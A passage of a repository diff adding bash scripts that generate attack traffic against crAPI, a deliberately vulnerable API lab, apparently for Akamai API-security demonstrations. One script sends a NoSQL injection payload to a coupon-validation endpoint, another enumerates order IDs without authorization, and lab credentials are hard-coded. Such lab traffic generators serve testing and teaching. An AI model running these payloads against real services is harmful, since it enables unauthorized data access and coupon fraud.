-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
--data-raw '{"title":"script","content":"script"}' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed for POSTS."
fi
}

# Function to make the second curl request
make_second_request() {
local access_token=$1
local post_id=$2
curl "http://$HOSTNAME/community/api/v2/community/posts/$post_id/comment" \
-H 'Accept: */*' \
-H 'Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6' \
-H "Authorization: Bearer $access_token" \
-H 'Cache-Control: no-cache' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H 'DNT: 1' \
-H "Origin: http://$HOSTNAME" \
-H 'Pragma: no-cache' \
-H "Referer: http://$HOSTNAME/post?post_id=$post_id" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
--data-raw '{"content":"script"}' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1

# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed for COMMENTS."
fi
}


# Loop through the email addresses
for email in "${emails[@]}"; do
# Generate access token
access_token=$(get_access_token "$email" "$COMMON_PASSWORD")

# Make the first request and capture the response
response=$(make_first_request "$access_token")

# Extract the post ID from the response
post_id=$(echo "$response" | jq -r '.id')


# Make the second request
make_second_request "$access_token" "$post_id"
done

+ 49
- 0
GSAutomation/scripts/sql_coupon.sh Целия файл

@@ -0,0 +1,49 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME


# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)

for ((i=0; i<${#emails[@]}; i++)); do
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
curl "http://$HOSTNAME/community/api/v2/coupon/validate-coupon" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/shop" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw '{"coupon_code": {"$ne": "1"}}' \
--compressed \
--insecure | jq -j
done

+ 30
- 0
GSAutomation/scripts/unauth_orders.sh Целия файл

@@ -0,0 +1,30 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME


# Log in to the app.
curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"apilab@akamai.com","password":"cRaPi2023!!!"}' \
--insecure -s \
-o /dev/null

# Loop through order IDs from 1 to 10
for order_id in {1..10}; do
# Make the API request for the current order ID without including auth header
curl "http://$HOSTNAME/workshop/api/shop/orders/$order_id" \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H "Referer: http://$HOSTNAME/orders?order_id=$order_id" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
-H 'pragma: akamai-x-ro-trace' \
-H 'x-akamai-a2-disable: on' \
-H 'x-akamai-ro-piez: on' \
-H 'x-im-piez: on' \
--compressed \
--insecure | jq -j
done

Loading…
Отказ
Запис